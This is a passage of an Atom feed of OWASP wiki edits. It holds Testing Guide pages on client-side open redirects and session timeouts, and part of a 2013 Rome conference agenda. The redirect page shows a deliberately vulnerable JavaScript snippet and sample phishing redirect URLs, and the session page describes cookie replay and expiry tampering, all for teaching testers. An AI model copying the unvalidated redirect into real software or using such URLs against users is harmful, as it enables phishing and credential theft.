When trying to check for this kind of issues, consider that some characters are treated differently by different browsers.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Moreover always consider the possibility to try absolute URLs variants as described here: http://kotowicz.net/absolute/&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [[DOM based XSS Prevention Cheat Sheet]]&lt;br /&gt;
* DOMXSS.com - http://www.domxss.com&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Browser location/document URI/URL Sources - https://code.google.com/p/domxsswiki/wiki/LocationSources&lt;br /&gt;
** i.e., what is returned when you ask the browser for things like document.URL, document.baseURI, location, location.href, etc.&lt;br /&gt;
* Krzysztof Kotowicz: &amp;quot;Local or Externa? Weird URL formats on the loose&amp;quot; - http://kotowicz.net/absolute/&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* DOMinator - https://dominator.mindedsecurity.com/&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Client_Side_URL_Redirect_(OTG-CLIENT-004)&amp;diff=164756</id>
		<title>Testing for Client Side URL Redirect (OTG-CLIENT-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Client_Side_URL_Redirect_(OTG-CLIENT-004)&amp;diff=164756"/>
				<updated>2013-12-16T16:42:25Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this phase, we check for Client Side URL Redirection, also known as Open Redirection, that is an input validation flaw that exists when an application accepts an user controlled input which specifies a link that leads to an external URL that could be a malicious one. This kind of vulnerability could be used to accomplish a phishing attack or redirect a victim to an infection page.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
This vulnerability occurs when an application accepts untrusted input that contains an URL value without sanitizing it. This URL value could cause the web application to redirect the user to another page as, for example, a malicious page controlled by the attacker. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Since the redirection is originated by the real application, the phishing attempts may have a more trustworthy appearance.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
A phishing attack example could be the following: &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://www.bank.com?redirect=http://www.fake-bank.com/ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The victim that visits bank.com will be automatically redirected to fake-bank.com where an attacker could place a fake page to steal victim's credentials. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Moreover open redirections could also be used to maliciously craft an URL that would bypass the application’s access control checks and then forward the attacker to privileged functions that they would normally not be able to access. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Blackbox testing for Client Side URL Redirect is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Client Side URL Redirect vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
When we have to manually check for this type of vulnerability we have to identify if there are client side redirections implemented in the client side code (for example in the JavaScript code). &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
These redirections could be implemented, for example in JavaScript, using the “window.location” object that can be used to take the browser to another page by simply assigning a string to it. (as you can see in the following snippet of code).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var redir = location.search.substring(1); &lt;br /&gt;
if (redir) &lt;br /&gt;
window.location='http://'+decodeURIComponent(redir); &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In the previous example the script does not perform any validation of the variable “redir”, that contains the user supplied input via the query string, and in the same time does not apply any form of encoding, then this unvalidated input is passed to the windows.location object originating a URL redirection vulnerability.&lt;br /&gt;
This implies that an attacker could redirect the victim to a malicious site simply by submitting the following query string: www.victim.com/?www.malicious-site.com &lt;br /&gt;
When trying to check for this kind of issues, consider that some characters are treated differently by different browsers.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Moreover always consider the possibility to try absolute URLs variants as described here: http://kotowicz.net/absolute/&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [[DOM based XSS Prevention Cheat Sheet]]&lt;br /&gt;
* DOMXSS.com - http://www.domxss.com&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Browser location/document URI/URL Sources - https://code.google.com/p/domxsswiki/wiki/LocationSources&lt;br /&gt;
** i.e., what is returned when you ask the browser for things like document.URL, document.baseURI, location, location.href, etc.&lt;br /&gt;
* Krzysztof Kotowicz: &amp;quot;Local or Externa? Weird URL formats on the loose&amp;quot; - http://kotowicz.net/absolute/&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* DOMinator - https://dominator.mindedsecurity.com/&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Session_Timeout_(OTG-SESS-007)&amp;diff=164451</id>
		<title>Test Session Timeout (OTG-SESS-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Session_Timeout_(OTG-SESS-007)&amp;diff=164451"/>
				<updated>2013-12-09T17:32:20Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: Created page with &amp;quot;{{Template:OWASP Testing Guide v4}}   == Brief Summary == &amp;lt;br&amp;gt; In this phase, we check that the application automatically logs out a user when that user has been idle for a ce...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In this phase, we check that the application automatically logs out a user when that user has been idle for a certain amount of time, ensuring that it is not possible to “reuse” the same session and that no sensitive data remains stored in the browser cache.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
All applications should implement an idle or inactivity timeout for sessions. This timeout defines the amount of time a session will remain active in case there is no activity by the user, closing and invalidating the session upon the defined idle period since the last HTTP request received by the web application for a given session ID.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The most appropriate timeout should be a right balance between security (shorter timeout) and usability (longer timeout) and heavily depends on the criticality of the data handled by the application. For example, a 60 minute logout time for a public forum can be acceptable, but such a long time would be too much in a home banking application (where a maximum timeout of 15 minutes it's, in general, recommended). In any case, any application that does not enforce a timeout-based logout should be considered not secure, unless such behavior is required by a specific functional requirement.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The idle timeout limits the chances that an attacker has to guess and use a valid session ID from another user. However, if the attacker is able to hijack a given session, the idle timeout does not limit the attacker’s actions, as he can generate activity on the session periodically to keep the session active for longer periods of time.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Session timeout management and expiration must be enforced server-side. If some data, under the control of the client, are used to enforce the session timeout, for example using the session token or other client parameters to track time references (e.g. number of minutes since login time), an attacker could manipulate these to extend the session duration. So the application has to track the inactivity time on the server side and, after the timeout is expired, automatically invalidate the current user's session and delete every data stored on the client.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Both actions must be implemented carefully, in order to avoid introducing weaknesses that could be exploited by an attacker to gain unauthorized access if the user forgot to logout from the application. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
More specifically, as for the logout function, it is important to ensure that all session tokens (e.g. cookies) are properly destroyed or made unusable, and that proper controls are enforced at the server side to prevent the reuse of session tokens.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
If such actions are not properly carried out, an attacker could replay these session tokens in order to “resurrect” the session of a legitimate user and impersonate him/her (this attack is usually known as 'cookie replay'). Of course, a mitigating factor is that the attacker needs to be able to access those tokens (which are stored on the victim's PC), but, in a variety of cases, this may not be impossible or particularly difficult.&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
The most common scenario for this kind of attack is a public computer that is used to access some private information (e.g., webmail, online bank account): if the user moves away from the computer, without explicitly logging out, and the session timeout is not implemented on the application, then an attacker could access to the same account even long time after, for instance, by simply pressing the “back” button of the browser.  &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The same approach that we have seen in the [[Testing for logout functionality (OWASP-SM-007)]] section can be applied when measuring the timeout logout.  &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
So the testing methodology is very similar. First, we have to check whether a timeout exists, for instance, by logging in and then killing some time reading some other Testing Guide chapter, waiting for the timeout logout to be triggered. As in the logout function, after the timeout has passed, all session tokens should be destroyed or be unusable.&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
Then, if the timeout is configured, we need to understand whether the timeout is enforced by the client or by the server (or both). If the session cookie is non-persistent (or, more in general, the session token does not store any data about the time), we can assume that the timeout is enforced by the server. If the session token contains some time related data (e.g., login time, or last access time, or expiration date for a persistent cookie), then it's possible that the client is involved in the timeout enforcing. In this case, we could try to modify the token (if it's not cryptographically protected) and see what happens to our session. For instance, we can set the cookie expiration date far in the future and see whether our session can be prolonged. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
As a general rule, everything should be checked server-side and it should not be possible, by re-setting the session cookies to previous values, to access the application again. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
As a general rule, we need to check that:&lt;br /&gt;
* The logout function effectively destroys all session token, or at least renders them unusable,&lt;br /&gt;
* The server performs proper checks on the session state, disallowing an attacker to replay some previous token,&lt;br /&gt;
* A timeout is enforced and it is properly enforced by the server. If the server uses an expiration time that is read from a session token that is sent by the client (but this is not advisable), then the token must be cryptographically protected.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Note: the most important thing is for the application to invalidate the session on the server side. Generally this means that the code must invoke the appropriate methods, e.g. HttpSession.invalidate() in Java and Session.abandon() in .NET. Clearing the cookies from the browser is advisable, but is not strictly necessary, since if the session is properly invalidated on the server, having the cookie in the browser will not help an attacker.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [[Session Management Cheat Sheet]]&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=EUTour2013_Rome_Agenda&amp;diff=157660</id>
		<title>EUTour2013 Rome Agenda</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=EUTour2013_Rome_Agenda&amp;diff=157660"/>
				<updated>2013-09-02T15:25:55Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;noinclude&amp;gt;{{:EUTour2013 header}}&amp;lt;/noinclude&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{|style=&amp;quot;vertical-align:top;width:90%;background-color:#white;padding:10px;border:1px solid silver;&amp;quot; align=&amp;quot;center&amp;quot; cellspacing=&amp;quot;5&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| align=&amp;quot;center&amp;quot; height=&amp;quot;30&amp;quot; style=&amp;quot;background:#CCCCEE;&amp;quot; colspan=&amp;quot;2&amp;quot;       | '''CONFERENCE AND TRAINING''' &lt;br /&gt;
|-&lt;br /&gt;
| align=&amp;quot;center&amp;quot; style=&amp;quot;background:#EEEEEE;&amp;quot; colspan=&amp;quot;2&amp;quot;                   | &lt;br /&gt;
== '''OWASP Europe Tour - Rome 2013''' == &lt;br /&gt;
'''Thursday 27th June (Conference)&amp;lt;br&amp;gt; Friday 28th June (Training)'''&lt;br /&gt;
|-&lt;br /&gt;
| valign=&amp;quot;center&amp;quot; bgcolor=&amp;quot;#CCCCEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;2&amp;quot;             | '''DESCRIPTION'''&lt;br /&gt;
|-&lt;br /&gt;
| valign=&amp;quot;left&amp;quot; height=&amp;quot;80&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;left&amp;quot; colspan=&amp;quot;2&amp;quot; | '''OWASP Europe TOUR,''' is an event across the European region that promotes  awareness about application security, so that people and organizations can make informed decisions about true application security risks. Everyone is free to participate in OWASP and all of our materials are available under a free and open software license.&lt;br /&gt;
&lt;br /&gt;
*Apart from OWASP's Top 10, most OWASP Projects are not widely used and understood. In most cases this is not due to lack of quality and usefulness of those Document &amp;amp; Tool projects, but due to a lack of understanding of where they fit in an Enterprise's security ecosystem or in the Web Application Development Life-cycle.&lt;br /&gt;
&lt;br /&gt;
* This event aims to change that by providing a selection of mature and enterprise ready projects together with practical examples of how to use them.&lt;br /&gt;
|-&lt;br /&gt;
| align=&amp;quot;center&amp;quot; style=&amp;quot;background:#CCCCEE;&amp;quot; colspan=&amp;quot;2&amp;quot; | '''OWASP MEMBERSHIP'''&lt;br /&gt;
|-&lt;br /&gt;
| valign=&amp;quot;left&amp;quot; height=&amp;quot;80&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;2&amp;quot; | During the OWASP Europe Tour you could become a member and support our mission.&amp;lt;br&amp;gt;&lt;br /&gt;
[https://www.cvent.com/Events/ContactPortal/Login.aspx?cwstub=15bbcfd1-f49b-4636-ba4e-c9ce70a265e5 Become an OWASP member by clicking here] &amp;lt;br&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{|style=&amp;quot;vertical-align:top;width:90%;background-color:#white;padding:10px;border:1px solid silver;&amp;quot; align=&amp;quot;center&amp;quot; cellspacing=&amp;quot;5&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4B0082;&amp;quot; colspan=&amp;quot;2&amp;quot; | &amp;lt;span style=&amp;quot;color:#ffffff&amp;quot;&amp;gt; &lt;br /&gt;
'''CONFERENCE (Thursday 27th June)''' &amp;lt;/span&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:20%&amp;quot; valign=&amp;quot;middle&amp;quot;  bgcolor=&amp;quot;#CCCCEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | '''When''' &lt;br /&gt;
| style=&amp;quot;width:80%&amp;quot; valign=&amp;quot;middle&amp;quot;  bgcolor=&amp;quot;#CCCCEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | '''Where'''&lt;br /&gt;
|-&lt;br /&gt;
| valign=&amp;quot;middle&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; | ''' Thursday 27th June the Conference, Friday 28th June for the Training  '''&lt;br /&gt;
| valign=&amp;quot;middle&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;left&amp;quot; | '''Venue Location: Università Degli Studi Roma Tre&amp;lt;br&amp;gt;&lt;br /&gt;
Venue Address: Via vito Volterra, 62, 00182 Roma, Italy'''&amp;lt;br&amp;gt;&lt;br /&gt;
Venue Map: [http://maps.google.com/maps?q=Via+vito+Volterra,+62,+00182+Roma,+Italy&amp;amp;hl=en&amp;amp;ll=41.853564,12.469354&amp;amp;spn=0.011843,0.013733&amp;amp;sll=41.853836,12.472486&amp;amp;sspn=0.023686,0.027466&amp;amp;t=h&amp;amp;hq=Via+vito+Volterra,+62,+00182+Roma,+Italy&amp;amp;z=16 Google Maps] &lt;br /&gt;
|-&lt;br /&gt;
| align=&amp;quot;center&amp;quot; style=&amp;quot;background:#CCCCEE;&amp;quot; colspan=&amp;quot;2&amp;quot; | '''Price and registration'''&lt;br /&gt;
|-&lt;br /&gt;
| align=&amp;quot;center&amp;quot; style=&amp;quot;background:#EEEEEE;&amp;quot; colspan=&amp;quot;2&amp;quot; | This event is '''FREE''' &amp;lt;br&amp;gt;&lt;br /&gt;
 '''Registration Link to the Europe Tour''':[http://www.eventbrite.it/event/7032513437 | Conference]'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
''' Europe Tour Training [https://www.owasp.org/index.php/EUTour2013_Training | Page]&amp;lt;br&amp;gt;&lt;br /&gt;
 '''Registration Link to the Europe Tour''':[http://www.regonline.com/eutour13itatrainingmobile | Training]'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|} &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
{|style=&amp;quot;vertical-align:top;width:90%;background-color:#white;padding:10px;border:1px solid silver;&amp;quot; align=&amp;quot;center&amp;quot; cellspacing=&amp;quot;4&amp;quot;&lt;br /&gt;
| style=&amp;quot;width:100%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;40&amp;quot; bgcolor=&amp;quot;#CCCCEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;6&amp;quot; | '''Conference Details '''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:7%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#CCCCEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; |  '''Time''' &lt;br /&gt;
| style=&amp;quot;width:20%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#CCCCEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | '''Title'''&lt;br /&gt;
| style=&amp;quot;width:20%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#CCCCEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | '''Speaker'''&lt;br /&gt;
| style=&amp;quot;width:40%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#CCCCEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | '''Description'''&lt;br /&gt;
| style=&amp;quot;width:13%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#CCCCEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | '''Presentation'''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:7%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#CCEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | 09:00 am&amp;lt;br&amp;gt;(30 mins)&lt;br /&gt;
| style=&amp;quot;width:20%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#CCEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | Registration&lt;br /&gt;
| style=&amp;quot;width:20%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#CCEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | &lt;br /&gt;
| style=&amp;quot;width:40%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#CCEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; |&lt;br /&gt;
| style=&amp;quot;width:13%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#CCEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | &lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:7%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | 9:30 am&amp;lt;br&amp;gt;(15 mins) &lt;br /&gt;
| style=&amp;quot;width:20%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | Introduction by the Academic Authorities to the event OWASP European Tour 2013 - Rome&lt;br /&gt;
| style=&amp;quot;width:20%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | Università Degli Studi Roma Tre&lt;br /&gt;
| style=&amp;quot;width:40%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | &lt;br /&gt;
| style=&amp;quot;width:13%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | &lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:7%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | 9:45 am&amp;lt;br&amp;gt;(45 mins) &lt;br /&gt;
| style=&amp;quot;width:20%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | OWASP Shepherd project &lt;br /&gt;
| style=&amp;quot;width:20%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | Mark Denhian, David Ryan and Paul McCann&lt;br /&gt;
| style=&amp;quot;width:40%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | Competing in CTF events can be difficult for some and winning them can even be strenuous. Behind the curtains creating a fun and resilient CTF to be played with in the first place is the near impossible challenge. The Honeyn3t Ireland team have spent the last better part of a year working on providing CTFs. This talk will chronicle how to run a successful CTF by highlighting the common mistakes made and by utilising existing OWASP projects&lt;br /&gt;
| style=&amp;quot;width:13%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | [https://www.owasp.org/images/4/4a/CTF_Magic_OWASP_EU_Tour_2013.pdf Slides]&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:7%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | 10:30 am&amp;lt;br&amp;gt;(30 mins) &lt;br /&gt;
| style=&amp;quot;width:20%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | PCI for Developers&lt;br /&gt;
| style=&amp;quot;width:20%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | Fabio Cerullo, OWASP Dublin Chapter, CEO &amp;amp; Founder of Cycubix&lt;br /&gt;
| style=&amp;quot;width:40%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | The PCI-DSS and PA DSS standards are well known to security professionals and auditors, but how are these interpreted by software development teams? Usually is not clear whether all requirements are necessary and most importantly, how these should be implemented. This talk aims to help developers understanding the key points of these standards in a simple and fast approach and be able to implement them during the software development cycle&lt;br /&gt;
| style=&amp;quot;width:13%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | [http://prezi.com/eqjkvu9bahop/?utm_campaign=share&amp;amp;utm_medium=copy Slides]&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:13%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | 11:00AM &amp;lt;br&amp;gt;(30 mins)&lt;br /&gt;
| style=&amp;quot;width:20%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | Scripting Application Security&lt;br /&gt;
| style=&amp;quot;width:20%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | Dinis Cruz, OWASP O2 Platform project leader &lt;br /&gt;
| style=&amp;quot;width:40%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | Pentesting at the speed of Scripting (using O2 Platform)&lt;br /&gt;
This presentation will show how the OWASP O2 Platform scripting capabilities can be used to 'codify' an pen-testers mind/action and perform advanced analysis, fuzzing and exploitation of both Web and desktop-based Applications.&lt;br /&gt;
| style=&amp;quot;width:13%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | -&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:7%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | 11:30 am&amp;lt;br&amp;gt;(30 mins) &lt;br /&gt;
| style=&amp;quot;width:20%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | Client-Side Security in the modern Web&lt;br /&gt;
| style=&amp;quot;width:20%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | Mauro Gentile, Software Security Consultant of Minded Security&lt;br /&gt;
| style=&amp;quot;width:40%&amp;quot; valign=&amp;quot;middle&amp;quot; height=&amp;quot;30&amp;quot; bgcolor=&amp;quot;#EEEEEE&amp;quot; align=&amp;quot;center&amp;quot; colspan=&amp;quot;0&amp;quot; | The web is evolving day by day: interactive and effective web applications are progressively adopted in the Internet thanks to innovative solutions implemented in modern web browsers. These latters offer sensational capabilities for running complex applications since client-side scripting languages ensure flexibility and varied functionalities. As the complexity of the web moves on the client-side, web security needs to shift its focus on this part too; indeed, enriching browsers capabilities may pave the way to new possible threats and attack surfaces. In this talk, we analyse how the adoption of HTML5 impacted the Web in terms of security and we dissect how attackers might exploit such introduction in order to realize successful attacks. By touching novel XSS attack vectors, clickjacking techniques, CSRF exploits, and cross domain communication approaches, we present interesting and real attack methodologies, and at the same we report robust defenses, such as CSP, against these today's threats by trying to understand the hindrances which could slaken their adoption. Eventually, practical examples are provided for each discussion 